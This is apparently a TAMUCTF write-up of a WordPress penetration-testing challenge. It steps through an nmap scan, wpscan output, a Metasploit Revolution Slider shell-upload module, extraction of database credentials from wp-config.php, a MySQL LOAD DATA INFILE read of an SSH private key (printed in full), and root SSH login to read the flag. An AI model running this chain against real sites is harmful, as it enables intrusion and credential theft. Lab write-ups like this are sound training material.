# TAMUCTF Wordpress (Network/ Pentest) Write-Up

## Given

```
I setup my own Wordpress site!
I love that there are so many plugins. My favorite is Revolution Slider. Even
though it's a little old it doesn't show up on wpscan!

Please give it about 30 seconds after connecting for everything to setup correctly.
The flag is in /root/flag.txt

Difficulty: medium

OpenVPN Config (Download)
```

## Procedure

### Pre WP instance hack

1. Scan the subnet for anything with port 80 and 443 open because the Wordpress web instance should be running on one of those.

```
Command:
nmap -p 80,443 172.30.0.0/28

Output:
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-25 19:14 CST
Nmap scan report for 172.30.0.2
Host is up (0.097s latency).

PORT    STATE  SERVICE
80/tcp  closed http
443/tcp closed https
MAC Address: 02:42:DB:DF:AC:8B (Unknown)
```

```
Nmap scan report for 172.30.0.3
Host is up (0.098s latency).

PORT    STATE  SERVICE
80/tcp  open   http
443/tcp closed https
MAC Address: 02:42:77:CA:DF:61 (Unknown)

Nmap scan report for 172.30.0.14
Host is up (0.000035s latency).

PORT    STATE  SERVICE
80/tcp  closed http
443/tcp closed https

Nmap done: 16 IP addresses (3 hosts up) scanned in 1.71 seconds
```

2. We can see from the output above that 172.30.0.3 has port 80 open and by using the web browser of your choice, we can confirm this.
3. In the problem description it mentions that Revolution Slider doesn't show up in wpscan, but we need to validate this before continuing. What we see is that it's actually vulnerable because of Revolution Slider

```
[+] revslider
 | Location: http://172.30.0.3/wp-content/plugins/revslider/
 |
 | Detected By: Urls In Homepage (Passive Detection)
 |
 | [!] 2 vulnerabilities identified:
 |
 | [!] Title: WordPress Slider Revolution Local File Disclosure
 |     Fixed in: 4.1.5
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/7540
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1579
 |      - https://www.exploit-db.com/exploits/34511/
 |      - https://www.exploit-db.com/exploits/36039/
 |      - http://blog.sucuri.net/2014/09/slider-revolution-plugin-critical-vulnerability-being-exploited.html
 |      - http://packetstormsecurity.com/files/129761/
 |
 | [!] Title: WordPress Slider Revolution Shell Upload
 |     Fixed in: 3.0.96
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/7954
 |      - https://www.exploit-db.com/exploits/35385/
 |      - https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/
 |      - https://www.rapid7.com/db/modules/exploit/unix/webapp/wp_revslider_upload_execute
```

The only thing we really care about in the output above is

```
[!] Title: WordPress Slider Revolution Shell Upload
 |     Fixed in: 3.0.96
```

With this in mind we can follow one of the references and see what we can do with this information. Once done we see it has an msf exploit that will handle all the hacking we need to do

4. Lets employ that msf exploit to get shell on the box

```
1. msfconsole
2. use exploit/unix/webapp/wp_revslider_upload_execute
3. (Optional) show options
4. set rhosts 172.30.0.3 (ip of the box with the wp instance)
5. shell
```

5. Now we have a shell on the machine!

## Post WP instance hack aka Database hack

1. You start in the directory of the exploit but we can go ahead and get to the root directory we care about

```
cd /var/www
```

2. Once in there we can see something called note.txt which reads:

```
Your ssh key was placed in /backup/id_rsa on the DB server.
```

3. So now we need to figure out how to get into the database.

**Information not relevant to this challenge:**

To get the database credentials we need some previous knowledge about Wordpress. Let's first assume that it too uses a database (which of course it does) and then let's assume that it has to store the login in plaintext so that I too can use them. These two things coupled means we need to cat wp-config.php

```
cat wp-config.php
```

and that dumps a huge mess which is below

```
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://codex.wordpress.org/Editing_wp-config.php
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'wordpress');

/** MySQL database password */
define('DB_PASSWORD', '0NYa6PBH52y86C');

/** MySQL hostname */
define('DB_HOST', '172.30.0.2');

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
```

```
/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/
1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies.
This will force all users to have to log in again.
 *
 * @since 2.6.0
 */

define('AUTH_KEY',         '~Xkeu-Q-}#gK[QpfqvKw#[#xL<3T2i7nf-C04mbyT{-6 tnwBVw-
qw3xD`fPtFxy');
define('SECURE_AUTH_KEY',  'A=l(lh|*Yjw0c+0a3x~Rwd1p=a{X5gg3ZA)=5D?
G|;z8g)k,&TH>e06L/ZCSI1u&');
define('LOGGED_IN_KEY',    '2ccB^%7@~bq%ne|uiYP6<-wSH|1wQ0eTizG|WR-e^xQet[+L|)
s5g~h9zmH0_3/');
define('NONCE_KEY',        'r<gbrS~C;nR~1nl8<x_,G+WE(n)>p^V @Y|?^0_H-lXniHM|
V00&.gu^oI,S+D6X');
define('AUTH_SALT',        'co2w5V-Q U_@cS!)[b+ml?d+t[ )K_Q3u~TVn-`L70L@~ay|
JdLFq8!G-QOw-C,_');
define('SECURE_AUTH_SALT', 'J8oOqsxjaJ;]%uJ=a8e+]5dtWsWUp-MaEUPS_JTa9`?
FDblh7+nROWQ6d*>De&;1');
define('LOGGED_IN_SALT',   'M-7bP(vP tGio^j,,<gh;w=d6)ql,sw^_`oNBQC+*cwVk>kBfj3w
(v0p=%(P~sY');
define('NONCE_SALT',       'A_f+m(]3P*)pTQHU(Y~|
x4GGLWc-7^s#9}]47*3=w7EBjj$&zx6bA9!oMAWT#:ie');
/**#@-*/

/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the Codex.
 *
 * @link https://codex.wordpress.org/Debugging_in_WordPress
 */
define( 'WP_DEBUG', false );

/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', dirname( __FILE__ ) . '/' );
}
```

```
/** Sets up WordPress vars and included files. */
require_once( ABSPATH . 'wp-settings.php' );
```

Thankfully we only care about ONE section of this

```
    // ** MySQL settings - You can get this info from your web host ** //
    /** The name of the database for WordPress */
    define('DB_NAME', 'wordpress');

    /** MySQL database username */
    define('DB_USER', 'wordpress');

    /** MySQL database password */
    define('DB_PASSWORD', '0NYa6PBH52y86C');

    /** MySQL hostname */
    define('DB_HOST', '172.30.0.2');
```

Check it out! There is the database login!

4. Lets log into the server

```
mysql -u wordpress -p -h 172.30.0.2

NOTES:
-u is the wordpress user
-p is the password (0NYa6PBH52y86C)
-h is the host which is 172.30.0.2
```

5. Once logged in using the credentials we should poke around a bit. We know that the wp instance uses the Wordpress database which we can select as our database too.

```
use wordpress; #; is very important here
```

And now lets see the tables we are working with

```
show tables;
```

Once we look around for a few minutes we can see that `wp_links` is empty

```
select * from wp_links;
```

```
Output:
Empty set (0.08 sec)
```

This seems like a good place to dump the contents of a file (hint hint)

6. We were given that the ssh key was in `/backup/id_rsa` which we can actually dump the contents of that file into `wp_links`

```
LOAD DATA INFILE '/backup/id_rsa' REPLACE INTO TABLE wordpress.wp_links
(link_notes);

Notes:
(link_notes) says to drop the contents into the link notes column
```

To view the now dumped contents:

```
select * from wp_links
```

7. After a ton of click select delete we are left with an SSH key

```
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA3Z35DpTcnm4kFkkGp6iDXqvUNH+/+hSDOY6rXsa40WMr7rjc
tHh8TgOBFZ6Rj5VzU/jY8O0qHxiPVn7BCYKhqyp1V1l9/ZCPRSjRLYy62dVTiHUt
ZbiPiY9+biHIsQ/nZfwiHmwlb0sWDoyFvX3OL/3AFMcYpZ4ldHQuwszJF4DeTV33
ruSBoXIiICQyNJBHTboVel+WXAfMNumYMVNrtrwpNoD7whv9Oa2afUejXMJL42Rw
8Xhab59HIIL9fl68FqgggVI4X3d/fzqKKGyoN5JxBLmQTCiVxhxTMv9OS0MhdSg6
Nh3+lf/wUuweUQXqmohvETntwwGs8jnJGCyeDwIDAQABAoIBAHGVRpG/n/cfMiWt
1dhWGMaLwJ4Ln6QXoU39nj1cEltWvayDWLKyUdtWFnGzLJ1vloVCNEX+96iqWMSX
AG7UYfGtOCjFuDoePh/PFK6IwzdkC4UTsWnCFucFAWKGtCpzoUB24jG/ccxBqpNY
WC9PbD7SigDcLfisPjwaU+EJPkNpl93VBk1BCJRbvWF+Wl/si3wmMZ0YRoyIAF5L
oBsq935xH8kJcixSVYKjG3hMUZfiLoQB+p/IFsxDlfGLE+M1esTZ5GIRjj+t7vBN
l2JZTY893gjfQzUv2WrJXzMhJvWGzOCsRRc4gOSeS6GYiip8glqg8iWHpWdgF6i9
oAQx5pkCgYEA7oTmvy0cXvhPjkEbrizCCqf6sXfZps5e6eminTTBGA8NW/Uq+SQv
5JEYxvIL+qMH6cKkc8rBaNhgy3vnv+UgE1PUFI0UWFGKb+OpzzvY/zkmf03enxrl
SK+QXH4FS9f7leivZRVEWBq1kDVIqHZtybYGg0etOvHYX0GwqV2UTy0CgYEA7dv0
bxz6CO9bhxxpXRrrykX2Z57J3JW2I3yVkCY+4Y6x106K11X+b1547kEZk40i2Ugc
iE6jcYIRiYNiSgb0Ph4uxZHFlvBr8JA2fGHYIAnGRcoc1Gzgz5omRvU9H8uy5ipO
LyZ2dnMgXRVOjuXoN4UZR2rgWmJVLD1q7eKnh6sCgYAnVOUUC2VNR9celx/wZdMN
nMubLi9G8Wr3WZ6GG+fnhrvmORSABvaa005pqApPp0irxHwH2BxypJO5mlIJ88eJ
SF6FkQoU0kVo0/rxgGX1GEB/56BZTj8W8FR23BUVf6UuADPEEHC3spfUEuVLWlQa
WhjS1yP6v1y1wIhYNWU6dQKBgQDbZ1zdcXkh7MgcpRR7kW2WM1rK0imZk29i5HSB
dwXhwWJCHGztnKEJ0bby7pHNDQ7sJhxLj14sQbIzikGLz0ZUVjsGeyQryrGGQUBB
E2/sfZeqoHhfad8lICfWpDgxsA/hR3y++VekgyWDNzgzj9bX/6oFuowgUzwFhtGv
```

```
hLbL6QKBgQCvcDMmWs2zXwmIo1+pIHUUSv2z3MWb0o1dzHQI/+FJEtyQPwL1nCwg
bJaC0KT45kw0IGVB2jhWf0KcMF37bpMpYJzdsktSAmHdjLKdcr6vw2MNpRapaNQe
On0QmLzbpFr9kjqorinKVkjk/WlTo9rKDSrLiUueEVYTxEMCi92giw==
-----END RSA PRIVATE KEY-----
```

I selected to save that onto my desktop as name `id_rsa`

Once saved run:

```
chmod 600 id_rsa
```

## Root box login

1. We can now ssh into the root machine with the flag

```
ssh -i ~/Desktop/id_rsa root@172.30.0.3
```

2. Hey check that out! We are in.

```
cat /root/flag.txt

Output:
gigem{w0rd_pr3ss_b3st_pr3ss_409186FC8E2A45FE}
```